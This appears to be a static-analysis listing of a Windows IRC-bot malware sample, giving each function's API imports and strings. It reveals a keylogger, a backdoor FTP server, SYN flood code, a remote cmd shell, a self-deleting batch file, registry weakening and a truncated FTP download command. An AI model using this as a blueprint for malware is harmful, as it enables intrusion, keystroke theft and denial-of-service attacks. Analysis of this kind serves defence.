sub_outside():
	KERNEL32.GetTickCount
	KERNEL32.GetComputerNameA
	KERNEL32.GetLocaleInfoA
	KERNEL32.GetVersionExA
	KERNEL32.GetVersion
	KERNEL32.GetCommandLineA
	KERNEL32.GetStartupInfoA
	KERNEL32.GetModuleHandleA
	KERNEL32.RaiseException
	KERNEL32.GetProcAddress
	USER32.PostMessageA
	KERNEL32.CreateFileA
	KERNEL32.GetFileSize
	KERNEL32.CreateFileMappingA
	KERNEL32.MapViewOfFile
	KERNEL32.GetModuleFileNameA
	KERNEL32.GetTempPathA
	KERNEL32.GetTempFileNameA
	KERNEL32.WriteFile
	KERNEL32.CloseHandle
	GDI32.AddFontResourceA
	KERNEL32.DeleteFileA
	KERNEL32.SetFilePointer
	KERNEL32.ReadFile
	KERNEL32.GetSystemTimeAsFileTime
	KERNEL32.VirtualFree
	KERNEL32.FlushFileBuffers
	KERNEL32.LoadLibraryA

sub_4CF61F(0126):
	NTDLL.RtlLeaveCriticalSection

sub_4D9696(0126):
	NTDLL.RtlLeaveCriticalSection

sub_4D18B0(0126):
	NTDLL.RtlLeaveCriticalSection

sub_40B9B9(0268):
	WS2_32.closesocket
	WS2_32.WSACleanup
	KERNEL32.Sleep
	KERNEL32.GetSystemDirectoryA
	KERNEL32.CreateProcessA
	KERNEL32.GetProcessHeap

sub_40907B(03c8):
	NTDLL.RtlGetLastWin32Error
	KERNEL32.FormatMessageA

	"%s	Error: %s <%d>."

sub_40C3BC(0456):
	"Account: %S"
	"Full Name:	%S"
	"User Comment: %S"
	"Comment: %S"
	"Unknown"
	"Administrator"
	"User"
	"Guest"
	"Privilege Level: %s"
	"Auth Flags: %d"
	"Home Directory: %S"
	"Parameters: %S"
	"Password Age: %d"
	"Bad Password Count: %d"
	"Number of Logins: %d"
	"Last Logon: %d"
	"Last Logoff: %d"
	"Logon Server: %S"
	"Country	Code: %d"
	"User's Language: %d"
	"Max. Storage: %d"

sub_409D67(04c3):
	KERNEL32.GetTickCount

	"%dd %dh %dm"

sub_4142A5(04fb):
	WS2_32.inet_ntoa
	KERNEL32.CreateThread
	KERNEL32.Sleep
	WS2_32.htonl

sub_40A291(0643):
	WININET.InternetCrackUrlA
	WININET.InternetConnectA
	WININET.HttpOpenRequestA
	WININET.HttpSendRequestA
	WININET.InternetCloseHandle
	KERNEL32.ExitThread

sub_4DCBEB(0697):
	"invalid distance	code"
	"invalid literal/length code"

sub_41CC8C(06bc):
	KERNEL32.GetCPInfo

sub_4D9518(094c):
	KERNEL32.GetModuleHandleA

	"CoCreateInstance"

sub_4DD043(0a00):
	"unknown compression method"
	"invalid window size"
	"incorrect header	check"
	"incorrect data check"
	"need dictionary"

sub_418E04(0a41):
	KERNEL32.HeapCreate
	KERNEL32.HeapDestroy

sub_40BE21(0b6c):
	ADVAPI32.OpenSCManagerA
	ADVAPI32.EnumServicesStatusA
	NTDLL.RtlGetLastWin32Error
	ADVAPI32.CloseServiceHandle

	"The following	Windows	services are regi"...
	"	 Unknown"
	"	 Paused"
	"    Pausing"
	" Continuing"
	"    Running"
	"    Stoping"
	"   Starting"
	"    Stopped"
	"%s: %s (%s)"

sub_409F1E(0c5f):
	KERNEL32.GetVersionExA
	ADVAPI32.GetUserNameA
	WS2_32.inet_addr
	WS2_32.gethostbyaddr
	KERNEL32.GetSystemDirectoryA
	KERNEL32.GetDateFormatA
	KERNEL32.GetTimeFormatA
	KERNEL32.GlobalMemoryStatus

	"95"
	"NT"
	"98"
	"ME"
	"2K"
	"XP"
	"2003"
	"couldn't resolve host"
	"dd:MMM:yyyy"
	"HH:mm:ss"
	"[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...

sub_41F17E(0e35):
	KERNEL32.WideCharToMultiByte

	"user32.dll"
	"MessageBoxA"
	"GetActiveWindow"
	"GetLastActivePopup"

sub_4D4AB0(1120):
	KERNEL32.GetModuleHandleA
	KERNEL32.GetProcAddress

	"The dynamic link library '%s' could not"...
	"EXECUTABLE"

sub_4DB18D(1150):
	KERNEL32.FreeLibrary

sub_4023A7(11d7):
	USER32.GetForegroundWindow
	USER32.GetWindowTextA
	KERNEL32.Sleep
	USER32.GetKeyState
	USER32.GetAsyncKeyState
	KERNEL32.ExitThread

	"%s (Changed Windows: %s)"
	"%s (Buffer full) (%s)"
	"%s (Return)	(%s)"

sub_4137A9(12e2):
	KERNEL32.ExitThread

sub_4D4DC0(13bd):
	KERNEL32.VirtualProtect
	KERNEL32.GetModuleHandleA

	"EXECUTABLE"
	"imm32.dll"
	"imm32.dll"

sub_4D9F43(13c4):
	KERNEL32.GetModuleHandleA
	KERNEL32.LoadLibraryA
	KERNEL32.GetProcAddress

	"WriteFile"

sub_4DB4A4(13df):
	KERNEL32.CreateFileMappingA

sub_4DB4E0(13df):
	KERNEL32.CreateFileMappingW

sub_4D87CA(1432):
	NTDLL.RtlGetLastWin32Error
	KERNEL32.FormatMessageA
	USER32.wsprintfA

	"windows error	%s\n  at %s(%d)\n"

sub_4D0921(152b):
	NTDLL.RtlLeaveCriticalSection

sub_4D0317(154d):
	NTDLL.RtlLeaveCriticalSection

sub_4CC15E(1575):
	GDI32.GetObjectA
	USER32.BeginPaint
	GDI32.CreateCompatibleDC
	GDI32.SelectObject
	GDI32.BitBlt
	GDI32.DeleteDC
	USER32.EndPaint
	USER32.DefWindowProcA

sub_406BF9(1772):
	GDI32.CreateDCA
	GDI32.GetDeviceCaps
	GDI32.CreateCompatibleDC
	GDI32.CreateDIBSection
	GDI32.SelectObject
	GDI32.BitBlt
	GDI32.GetDIBColorTable
	KERNEL32.WriteFile
	GDI32.DeleteObject
	GDI32.DeleteDC

	"DISPLAY"

sub_41D360(18d1):
	"C:\\m_unpacker\\packed.exe"

sub_4D0346(19cb):
	KERNEL32.CreateFileA
	KERNEL32.SetFilePointer

sub_4DC61A(1ac2):
	"invalid literal/length code"
	"invalid distance	code"

sub_40AB26(1c45):
	WS2_32.socket
	WS2_32.htons
	WS2_32.bind
	WS2_32.getsockname
	WS2_32.listen
	WS2_32.inet_addr
	WS2_32.htonl
	WS2_32.select
	WS2_32.accept
	WS2_32.closesocket
	WS2_32.send
	WS2_32.recv
	WS2_32.inet_ntoa
	KERNEL32.ExitThread

sub_401000(1c83):
	KERNEL32.GetTickCount
	KERNEL32.ExitThread

sub_4DAA5E(1e0d):
	KERNEL32.GetModuleFileNameA
	KERNEL32.MultiByteToWideChar

sub_413887(1e2b):
	KERNEL32.OpenProcess
	KERNEL32.TerminateProcess

sub_4DA657(1e47):
	KERNEL32.MultiByteToWideChar

sub_4DA741(209f):
	KERNEL32.LockFile

sub_409439(20cf):
	DNSAPI.DnsFlushResolverCache

sub_409A5D(21b8):
	KERNEL32.PeekNamedPipe
	KERNEL32.GetExitCodeProcess
	KERNEL32.Sleep
	KERNEL32.ExitThread

sub_405C74(22a3):
	"%d.%d.%d.%d"

sub_41B6C8(22de):
	NTDLL.RtlSizeHeap

sub_4D0C5C(266f):
	KERNEL32.GetSystemTimeAsFileTime
	KERNEL32.SetFilePointer
	KERNEL32.ReadFile

sub_4DA8AA(2721):
	KERNEL32.WideCharToMultiByte

	"kernel32"
	"GetFileAttributesExW"

sub_4D1441(2868):
	NTDLL.RtlLeaveCriticalSection

sub_405821(28ed):
	WS2_32.inet_ntoa

sub_407CB5(2950):
	KERNEL32.GetProcessHeap
	NTDLL.RtlAllocateHeap
	NTDLL.RtlFreeHeap

sub_4D487F(2b28):
	NTDLL.RtlLeaveCriticalSection

sub_406E34(2bb5):
	USER32.IsWindow
	USER32.SendMessageA
	USER32.DestroyWindow

	"Window"

sub_4CEDE4(2c70):
	KERNEL32.UnmapViewOfFile
	KERNEL32.CloseHandle

sub_4DB3D5(2d0a):
	KERNEL32.CloseHandle

sub_4DA5FF(2d0a):
	KERNEL32.FindClose

sub_4DB55B(2d0a):
	KERNEL32.UnmapViewOfFile

sub_4D61E1(2df3):
	NTDLL.RtlEnterCriticalSection
	KERNEL32.GetModuleHandleA
	KERNEL32.LoadLibraryA
	KERNEL32.LoadLibraryExA
	NTDLL.RtlGetLastWin32Error
	NTDLL.RtlRestoreLastWin32Error
	KERNEL32.FreeLibrary
	KERNEL32.VirtualAlloc

sub_4D0741(2e92):
	NTDLL.RtlEnterCriticalSection
	KERNEL32.CloseHandle
	NTDLL.RtlLeaveCriticalSection

sub_4D4427(2ecb):
	KERNEL32.CloseHandle

sub_41D0CB(2f2e):
	KERNEL32.UnhandledExceptionFilter

sub_4141D8(2fa7):
	WS2_32.htons
	WS2_32.socket
	WS2_32.connect
	WS2_32.inet_ntoa
	WS2_32.closesocket

sub_4D8538(2fab):
	NTDLL.RtlEnterCriticalSection
	KERNEL32.GetModuleHandleA
	KERNEL32.GetModuleFileNameA
	USER32.wsprintfA
	KERNEL32.CreateFileA
	KERNEL32.SetFilePointer
	KERNEL32.WriteFile
	NTDLL.RtlLeaveCriticalSection

	"-up.txt"
	"-up1.txt"

sub_4D835A(3094):
	NTDLL.RtlAllocateHeap

sub_4D53D0(328c):
	KERNEL32.VirtualProtect

sub_4CFECD(32ee):
	NTDLL.RtlEnterCriticalSection
	KERNEL32.VirtualFree
	NTDLL.RtlLeaveCriticalSection

sub_40A86D(3339):
	"rb"

sub_41EBF2(33c3):
	KERNEL32.GetTimeZoneInformation
	KERNEL32.WideCharToMultiByte

	"TZ"

sub_407B7F(3459):
	KERNEL32.OpenProcess
	KERNEL32.GetSystemInfo
	KERNEL32.VirtualQueryEx
	KERNEL32.GetProcessHeap
	NTDLL.RtlAllocateHeap
	KERNEL32.ReadProcessMemory
	NTDLL.RtlFreeHeap

sub_405DAD(35fb):
	KERNEL32.GetTickCount
	WS2_32.inet_ntoa
	NTDLL.RtlEnterCriticalSection
	NTDLL.RtlLeaveCriticalSection
	KERNEL32.Sleep
	KERNEL32.ExitThread

	"asn445"

sub_406AF9(3672):
	WS2_32.select
	WS2_32.__WSAFDIsSet
	WS2_32.recv
	WS2_32.send

sub_40BAE7(36c4):
	WS2_32.send
	KERNEL32.Sleep

	"NOTICE"
	"PRIVMSG"
	"%s"

sub_409140(36e0):
	USER32.FindWindowA
	USER32.SendMessageA

	"mIRC"

sub_42101D(37c4):
	KERNEL32.GetStringTypeW
	KERNEL32.GetStringTypeA
	KERNEL32.WideCharToMultiByte

sub_4D153F(3a62):
	NTDLL.RtlEnterCriticalSection
	KERNEL32.GetFullPathNameA
	USER32.CharUpperBuffA

	"\\\\?\\"

sub_405C2C(3b1d):
	WS2_32.htonl

sub_41DF8F(3b22):
	KERNEL32.FlushFileBuffers
	NTDLL.RtlGetLastWin32Error

sub_4079D8(3b79):
	KERNEL32.OpenProcess
	KERNEL32.GetSystemInfo
	KERNEL32.GetProcessHeap
	NTDLL.RtlAllocateHeap
	KERNEL32.ReadProcessMemory
	KERNEL32.VirtualQueryEx
	KERNEL32.FileTimeToLocalFileTime
	KERNEL32.FileTimeToSystemTime
	NTDLL.RtlFreeHeap

sub_409288(3cc3):
	KERNEL32.GetTempPathA
	KERNEL32.WriteFile
	KERNEL32.SetFileAttributesA
	KERNEL32.ExpandEnvironmentStringsA
	KERNEL32.CreateProcessA

	"%sdel.bat"
	"@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
	"%%comspec%% /c %s	%s"

sub_4DA1C7(3e5e):
	KERNEL32.GetFullPathNameA

sub_4D0643(3f1d):
	NTDLL.RtlLeaveCriticalSection

sub_4091C2(3f4b):
	KERNEL32.GetProcessHeap
	KERNEL32.GetFileTime
	KERNEL32.ReadProcessMemory
	KERNEL32.SetFileTime

	"explorer.exe"

sub_406593(3fdf):
	WS2_32.recv
	WS2_32.send
	WS2_32.closesocket
	KERNEL32.ExitThread

sub_40C154(3fe3):
	ADVAPI32.IsValidSecurityDescriptor

	"Share	name:	 Resource:		 "...
	"Yes"
	"No"
	"%-14S %-24S %-6u %-4s"

sub_4D9C54(43d7):
	KERNEL32.SetUnhandledExceptionFilter

sub_40726C(442b):
	ADVAPI32.RegOpenKeyExA
	ADVAPI32.RegQueryValueExA
	ADVAPI32.RegCloseKey

	"%s\\%s"
	"r"
	"="
	"="

sub_414B85(4448):
	KERNEL32.CreatePipe
	NTDLL.RtlGetLastWin32Error
	KERNEL32.TerminateThread

sub_414D57(4559):
	KERNEL32.CreatePipe
	WS2_32.send
	NTDLL.RtlGetLastWin32Error

sub_418CBC(45c9):
	KERNEL32.GetVersionExA
	KERNEL32.GetEnvironmentVariableA

	"__MSVCRT_HEAP_SELECT"
	"__GLOBAL_HEAP_SELECTED"

sub_41A966(4634):
	"KERNEL32"
	"IsProcessorFeaturePresent"

sub_41DED8(4712):
	KERNEL32.SetStdHandle

sub_4D47BF(47d8):
	NTDLL.RtlEnterCriticalSection
	KERNEL32.FlushInstructionCache

sub_4DAAEB(47e8):
	"kernel32"
	"GetLongPathNameA"

sub_40A7C2(4800):
	ADVAPI32.RegCreateKeyExA
	ADVAPI32.RegSetValueExA
	ADVAPI32.RegDeleteValueA
	ADVAPI32.RegCloseKey

sub_40345C(4913):
	WS2_32.socket
	WS2_32.htons
	WS2_32.inet_addr
	WS2_32.connect
	WS2_32.closesocket
	KERNEL32.Sleep

	"cmd /c echo open %s %d >> ii &echo user"...

sub_4CFFBF(4987):
	NTDLL.RtlEnterCriticalSection
	NTDLL.RtlRestoreLastWin32Error
	KERNEL32.VirtualAlloc
	KERNEL32.VirtualProtect
	NTDLL.RtlLeaveCriticalSection
	KERNEL32.VirtualFree

sub_4D9638(4ab4):
	NTDLL.RtlEnterCriticalSection

	"ADVAPI32.DLL"
	"RegQueryValueA"

sub_4D0712(4d52):
	NTDLL.RtlLeaveCriticalSection

sub_4DB277(4db0):
	"RemoveFontResourceA"

sub_4DB23E(4db0):
	"AddFontResourceA"

sub_4D8EF3(4e17):
	KERNEL32.VirtualQuery
	USER32.wsprintfA

	"!broken!"
	"0x%08x:[unknown]:unknown"
	"0x%08x:[%s]:(%03x:%08x)"
	"!broken!0x%08x:"

sub_4DAF8C(4e3f):
	KERNEL32.GetModuleHandleA

sub_414E09(4e7e):
	WS2_32.recv
	KERNEL32.GenerateConsoleCtrlEvent
	WS2_32.send
	KERNEL32.WriteFile

sub_4CC271(5000):
	GDI32.GetObjectA
	KERNEL32.GetModuleHandleA
	USER32.RegisterClassExA
	USER32.GetSystemMetrics
	USER32.AdjustWindowRectEx
	USER32.CreateWindowExA
	USER32.GetMessageA
	USER32.TranslateMessage
	USER32.DispatchMessageA
	KERNEL32.Sleep
	USER32.EnumWindows
	GDI32.DeleteObject

	"{CC7574E4-5E39-4700-B286-269A82DD8E95}"
	"{CC7574E4-5E39-4700-B286-269A82DD8E95}"

sub_41AA8D(502f):
	"e+000"

sub_405898(51a0):
	KERNEL32.CreateThread
	KERNEL32.Sleep
	NTDLL.RtlGetLastWin32Error

sub_4DAE2D(5349):
	NTDLL.RtlRestoreLastWin32Error
	NTDLL.RtlGetLastWin32Error

sub_4D5FCD(5361):
	NTDLL.RtlEnterCriticalSection
	NTDLL.RtlLeaveCriticalSection

sub_41DE61(545a):
	KERNEL32.SetStdHandle

sub_4CCA80(547a):
	KERNEL32.LCMapStringW
	KERNEL32.LCMapStringA
	KERNEL32.MultiByteToWideChar
	KERNEL32.WideCharToMultiByte

sub_41C829(547a):
	KERNEL32.LCMapStringW
	KERNEL32.LCMapStringA
	KERNEL32.MultiByteToWideChar
	KERNEL32.WideCharToMultiByte

sub_409DD0(5572):
	KERNEL32.GetVersionExA

sub_415067(5581):
	KERNEL32.TerminateThread
	WS2_32.closesocket

sub_4CF036(579e):
	NTDLL.RtlEnterCriticalSection

sub_40B73E(5886):
	"%sKB"
	"failed"

sub_419CA0(58ed):
	KERNEL32.VirtualAlloc

sub_4DAEAA(5973):
	NTDLL.RtlRestoreLastWin32Error
	KERNEL32.WideCharToMultiByte

sub_404716(5a99):
	WS2_32.closesocket
	KERNEL32.CreateThread
	KERNEL32.Sleep
	NTDLL.RtlGetLastWin32Error

	"\\%s"
	"%s"
	"%s%s"
	"\n"
	"*"

sub_40B6F6(5b85):
	KERNEL32.GetDiskFreeSpaceExA

sub_4D8401(5c73):
	USER32.ChangeDisplaySettingsA
	USER32.MessageBoxA
	KERNEL32.GetCurrentProcess
	KERNEL32.TerminateProcess

sub_4CC3F3(5d70):
	KERNEL32.CreateThread
	KERNEL32.Sleep

	"_splashscreen.bmp"

sub_4033A1(5f99):
	WS2_32.send

	"GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...

sub_4010B5(5fa9):
	WS2_32.WSAStartup
	WS2_32.WSASocketA
	WS2_32.setsockopt
	WS2_32.htons
	WS2_32.htonl
	KERNEL32.QueryPerformanceFrequency
	KERNEL32.QueryPerformanceCounter
	WS2_32.sendto
	WS2_32.WSAGetLastError
	WS2_32.closesocket
	WS2_32.WSACleanup

sub_420983(5fbb):
	"invalid string position"

sub_41756F(6050):
	NTDLL.RtlAllocateHeap
	NTDLL.RtlReAllocateHeap

sub_41C637(6091):
	NTDLL.RtlGetLastWin32Error

sub_4DB2B0(60d0):
	KERNEL32.CreateFileA

sub_40999E(62d2):
	KERNEL32.WriteFile

sub_41FAC8(6338):
	"1#SNAN"
	"1#IND"
	"1#INF"
	"1#QNAN"

sub_40BCA3(6353):
	"The specified	service	name is	invalid."
	"The requested	control	code is	undefined"...
	"The handle is	invalid."
	"The handle does not have the required	a"...
	"The service binary file could	not be fo"...
	"The service cannot be	stopped	because	o"...
	"The database is locked."
	"A thread could not be	created	for the	s"...
	"The process for the service was started"...
	"The requested	control	code is	not valid"...
	"An instance of the service is	already	r"...
	"The system is	shutting down."
	"An unknown error occurred: <%ld>"

sub_4195B7(64eb):
	KERNEL32.VirtualAlloc

sub_4DB51C(65b5):
	KERNEL32.MapViewOfFile

sub_4D8864(664d):
	KERNEL32.LocalFree

sub_4DB582(66b9):
	"OpenFile"

sub_41DC1B(66df):
	KERNEL32.WideCharToMultiByte

sub_4DB3FC(66f1):
	KERNEL32.ReadFile
	KERNEL32.SetEvent

sub_406224(6a52):
	WS2_32.htons
	WS2_32.socket
	WS2_32.WSAAsyncSelect
	WS2_32.bind
	WS2_32.listen
	WS2_32.accept
	WS2_32.inet_ntoa
	KERNEL32.CreateThread
	KERNEL32.Sleep
	NTDLL.RtlGetLastWin32Error
	WS2_32.closesocket
	KERNEL32.ExitThread

sub_4D9789(6b20):
	KERNEL32.GetModuleHandleA

	"CoCreateInstanceEx"

sub_415DE1(6c37):
	NTDLL.RtlFreeHeap

sub_403A1B(6d67):
	WS2_32.WSAStartup
	WS2_32.socket
	WS2_32.setsockopt
	WS2_32.ioctlsocket
	WS2_32.htons
	WS2_32.bind
	WS2_32.listen
	WS2_32.select
	WS2_32.__WSAFDIsSet
	WS2_32.accept
	WS2_32.send
	WS2_32.recv
	WS2_32.closesocket

	"220 NzmxFtpd 0wns j0\n"
	"%s %s"
	"USER"
	"331 Password required\n"
	"PASS"
	"230 User logged in.\n"
	"SYST"
	"215 NzmxFtpd\n"
	"REST"
	"350 Restarting.\n"
	"257 \"/\" is current directory.\n"
	"TYPE"
	"A"
	"200 Type set to A.\n"
	"TYPE"
	"I"
	"200 Type set to I.\n"
	"PASV"
	"425 Passive not supported on this serve"...
	"LIST"
	"226 Transfer complete\n"
	"PORT"
	"%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
	"%x%x\n"
	"%s.%s.%s.%s"
	"200 PORT command successful.\n"
	"RETR"
	"150 Opening BINARY mode data connection"...
	"226 Transfer complete.\n"
	"425 Can't open data connection.\n"
	"QUIT"
	"221 Goodbye happy r00ting.\n"

sub_4D8A16(6dca):
	KERNEL32.GetCurrentProcessId

	"MBX@"
	".###"

sub_414C7E(6ddc):
	KERNEL32.GetCurrentProcess
	KERNEL32.DuplicateHandle
	KERNEL32.CreateProcessA
	NTDLL.RtlGetLastWin32Error

	"cmd /q"

sub_402FC3(6e81):
	WS2_32.select
	WS2_32.__WSAFDIsSet
	WS2_32.recv

sub_40702D(6f62):
	USER32.IsWindow
	USER32.SendMessageA
	USER32.DestroyWindow

	"Window"

sub_404138(70a6):
	WS2_32.htons
	WS2_32.socket
	WS2_32.bind
	WS2_32.listen
	WS2_32.ioctlsocket
	WS2_32.select
	WS2_32.__WSAFDIsSet
	WS2_32.accept
	WS2_32.recv
	WS2_32.closesocket
	WS2_32.WSAGetLastError
	KERNEL32.ExitThread

	"GET	"
	" "
	"\r\n"

sub_4D90EF(71de):
	KERNEL32.GetModuleFileNameA

sub_4140CC(71f8):
	KERNEL32.GetTickCount
	USER32.FindWindowA

	"mIRC"

sub_4D5BD7(7254):
	NTDLL.RtlEnterCriticalSection
	NTDLL.RtlLeaveCriticalSection
	KERNEL32.VirtualProtect

sub_40767D(727f):
	KERNEL32.Sleep
	KERNEL32.GetEnvironmentVariableW
	KERNEL32.ExitThread

	"SeDebugPrivilege"
	"NTDLL.DLL"
	"NtQuerySystemInformation"
	"RtlCreateQueryDebugBuffer"
	"RtlQueryProcessDebugInformation"
	"RtlDestroyQueryDebugBuffer"
	"RtlRunDecodeUnicodeString"
	"USERNAME"
	"USERDOMAIN"
	"SeDebugPrivilege"

sub_4D0421(72be):
	NTDLL.RtlEnterCriticalSection
	KERNEL32.SetFilePointer
	NTDLL.RtlRestoreLastWin32Error

sub_4D918E(7308):
	"--	backtrace --"
	"   %s"
	"   %s"
	"   ... opss, broken by SEH"
	"--stack--"
	"0x%08x: 0x%08x 0x%08x	0x%08x 0x%08x"
	"   ... opss, broken by SEH"

sub_4CFA93(747e):
	NTDLL.RtlLeaveCriticalSection

sub_415D6D(7566):
	NTDLL.RtlAllocateHeap

sub_4D7494(75a3):
	KERNEL32.GetModuleHandleA
	KERNEL32.WriteProcessMemory
	KERNEL32.GetCurrentProcessId
	USER32.wsprintfA

	"MBX@%X@*.###"
	"kernel32.dll"
	"GetTempPathA"
	"SetCurrentDirectoryA"
	"GetCurrentDirectoryA"
	"FindFirstFileA"
	"DeleteFileA"
	"FindClose"
	"GetExitCodeProcess"
	"WaitForSingleObject"
	"ExitProcess"
	"OpenProcess"
	"Sleep"
	"CloseHandle"

sub_4CFCA7(760a):
	NTDLL.RtlLeaveCriticalSection
	KERNEL32.CloseHandle

sub_4DD7AC(76fe):
	"oversubscribed distance tree"
	"incomplete distance tree"
	"empty distance tree with	lengths"
	"oversubscribed literal/length tree"
	"incomplete literal/length tree"

sub_4D4791(77c6):
	NTDLL.RtlLeaveCriticalSection

sub_4DA9EC(77d9):
	KERNEL32.GetFileSize

sub_4063AC(78f3):
	WS2_32.socket
	WS2_32.htons
	WS2_32.inet_addr
	WS2_32.gethostbyname
	WS2_32.gethostbyaddr
	WS2_32.connect
	WS2_32.inet_ntoa
	KERNEL32.CreateThread
	KERNEL32.Sleep
	WS2_32.recv
	WS2_32.send
	NTDLL.RtlGetLastWin32Error
	WS2_32.closesocket
	KERNEL32.ExitThread

sub_40996E(7918):
	KERNEL32.GetProcessHeap

sub_4CF252(794a):
	NTDLL.RtlEnterCriticalSection
	KERNEL32.GetFullPathNameA
	USER32.CharUpperBuffA
	NTDLL.RtlRestoreLastWin32Error

sub_4D0216(7988):
	NTDLL.RtlEnterCriticalSection
	KERNEL32.CreateFileA

sub_414A34(7989):
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error
	KERNEL32.TerminateThread
	KERNEL32.WaitForMultipleObjects
	KERNEL32.TerminateProcess
	WS2_32.closesocket

sub_4DA334(7ad9):
	KERNEL32.FindFirstFileA

sub_4DD3A6(7b22):
	"oversubscribed dynamic bit lengths tree"...
	"incomplete dynamic bit lengths tree"

sub_401D82(7b89):
	KERNEL32.GetTickCount
	WS2_32.socket
	WS2_32.WSAGetLastError
	KERNEL32.ExitThread
	WS2_32.setsockopt
	WS2_32.inet_addr
	WS2_32.htons
	WS2_32.htonl
	WS2_32.sendto
	WS2_32.closesocket

	"syn"
	"ack"
	"random"

sub_4DA7DD(7be1):
	KERNEL32.WideCharToMultiByte
	KERNEL32.GetFileAttributesW

sub_4CDDD0(7dab):
	KERNEL32.GetModuleHandleA
	KERNEL32.RaiseException
	KERNEL32.InitializeCriticalSection

	"kernel32.dll"

sub_4D971C(7e34):
	USER32.wsprintfA

	"CLSID\\{%08x-%04x-%04x-%02x%02x-%02x%02x"...

sub_413E62(7e76):
	KERNEL32.GetTickCount

sub_4CC060(808e):
	NTDLL.RtlLeaveCriticalSection

sub_420309(8107):
	KERNEL32.CompareStringW
	KERNEL32.CompareStringA
	KERNEL32.GetCPInfo
	KERNEL32.MultiByteToWideChar

sub_4CCDBF(81be):
	KERNEL32.GetStringTypeW
	KERNEL32.GetStringTypeA
	KERNEL32.MultiByteToWideChar

sub_41DC83(81be):
	KERNEL32.GetStringTypeW
	KERNEL32.GetStringTypeA
	KERNEL32.MultiByteToWideChar

sub_4D0858(81d2):
	NTDLL.RtlEnterCriticalSection
	KERNEL32.GetFileInformationByHandle

sub_4DB711(824c):
	"_lread"

sub_40A8DF(8474):
	WS2_32.socket
	WS2_32.htons
	WS2_32.inet_addr
	WS2_32.gethostbyname
	WS2_32.connect
	WS2_32.closesocket

sub_4187D7(84ec):
	NTDLL.RtlGetLastWin32Error

sub_418E61(8555):
	NTDLL.RtlAllocateHeap

sub_409758(862d):
	KERNEL32.GetTickCount
	WS2_32.socket
	WS2_32.inet_addr
	WS2_32.gethostbyname
	KERNEL32.ExitThread
	WS2_32.htons
	WS2_32.sendto
	KERNEL32.Sleep

sub_4D9BEB(862e):
	KERNEL32.GetModuleHandleA
	KERNEL32.LoadLibraryA
	KERNEL32.GetProcAddress

sub_409BB2(86d3):
	KERNEL32.CreatePipe
	KERNEL32.GetCurrentProcess
	KERNEL32.DuplicateHandle
	KERNEL32.CreateProcessA
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error

	"cmd.exe"

sub_4151BA(8732):
	"%s: %s stopped. (%d thread(s)	stopped.)"...
	"%s: No %s thread found."

sub_418ED4(87ad):
	KERNEL32.VirtualFree
	NTDLL.RtlFreeHeap

sub_4DA4AA(8869):
	KERNEL32.WideCharToMultiByte
	KERNEL32.MultiByteToWideChar

	"FindFirstFileExW"

sub_414396(8931):
	KERNEL32.ExitThread

sub_41471A(89be):
	ADVAPI32.RegOpenKeyExA
	ADVAPI32.RegSetValueExA
	ADVAPI32.RegCloseKey
	KERNEL32.GetLogicalDrives
	KERNEL32.GetDriveTypeA

	"Software\\Microsoft\\OLE"
	"EnableDCOM"
	"SYSTEM\\CurrentControlSet\\Control\\Lsa"
	"restrictanonymous"
	"%c$"
	"%c:\\"

sub_40CA59(8a01):
	KERNEL32.GetComputerNameA

sub_4CC454(8af0):
	NTDLL.RtlUnwind

sub_416348(8af0):
	NTDLL.RtlUnwind

sub_4DA77D(8afb):
	KERNEL32.UnlockFile

sub_41EA2A(8bd2):
	KERNEL32.IsBadCodePtr

sub_4CE2E0(8cb2):
	KERNEL32.GetModuleHandleA
	KERNEL32.RaiseException
	KERNEL32.GetProcAddress
	KERNEL32.LoadLibraryA

	"kernel32.dll"
	"CloseHandle"
	"CreateFileA"
	"CreateFileW"
	"CreateFileMappingA"
	"CreateFileMappingW"
	"CreateProcessA"
	"DebugBreak"
	"DeleteFileA"
	"EnterCriticalSection"
	"ExitProcess"
	"FindClose"
	"FindFirstFileA"
	"FlushFileBuffers"
	"FormatMessageA"
	"FreeLibrary"
	"GetCurrentProcess"
	"GetCurrentProcessId"
	"GetEnvironmentVariableA"
	"GetExitCodeProcess"
	"GetFileAttributesA"
	"GetFileAttributesW"
	"GetFileInformationByHandle"
	"GetFileSize"
	"GetFileTime"
	"GetFullPathNameA"
	"GetFullPathNameW"
	"GetLastError"
	"GetModuleFileNameA"
	"GetModuleHandleA"
	"GetPrivateProfileIntA"
	"GetPrivateProfileSectionNamesA"
	"GetPrivateProfileStringA"
	"GetProcAddress"
	"GetSystemTimeAsFileTime"
	"GetTempFileNameA"
	"GetTempPathA"
	"GetTickCount"
	"HeapAlloc"
	"HeapFree"
	"HeapCreate"
	"InitializeCriticalSection"
	"DeleteCriticalSection"
	"LeaveCriticalSection"
	"LoadLibraryA"
	"LoadLibraryExA"
	"LocalAlloc"
	"LocalFree"
	"LockFile"
	"MultiByteToWideChar"
	"OpenProcess"
	"RaiseException"
	"ReadFile"
	"SetEnvironmentVariableA"
	"SetEvent"
	"SetFilePointer"
	"SetLastError"
	"SetUnhandledExceptionFilter"
	"Sleep"
	"TerminateProcess"
	"UnlockFile"
	"UnmapViewOfFile"
	"VirtualAlloc"
	"VirtualFree"
	"VirtualProtect"
	"VirtualQuery"
	"WaitForSingleObject"
	"WideCharToMultiByte"
	"WriteFile"
	"lstrcmpiA"
	"user32.dll"
	"ChangeDisplaySettingsA"
	"CharUpperBuffA"
	"LoadImageA"
	"wsprintfA"
	"wvsprintfA"
	"gdi32.dll"
	"AddFontResourceA"
	"CreateCompatibleDC"
	"CreateDIBSection"
	"DeleteDC"
	"RemoveFontResourceA"
	"BeginPaint"
	"EndPaint"
	"GetObjectA"
	"SelectObject"
	"DeleteObject"
	"BitBlt"
	"GetWindowThreadProcessId"
	"SetActiveWindow"
	"SetForegroundWindow"
	"RegisterClassExA"
	"GetSystemMetrics"
	"CreateWindowExA"
	"GetMessageA"
	"TranslateMessage"
	"DispatchMessageA"
	"DestroyWindow"
	"EnumWindows"
	"DefWindowProcA"
	"PostMessageA"
	"CreateThread"

sub_40C01E(8cdb):
	KERNEL32.WideCharToMultiByte

sub_406630(8ce4):
	WS2_32.htons
	WS2_32.socket
	WS2_32.bind
	WS2_32.listen
	WS2_32.accept
	WS2_32.inet_ntoa
	KERNEL32.CreateThread
	KERNEL32.Sleep
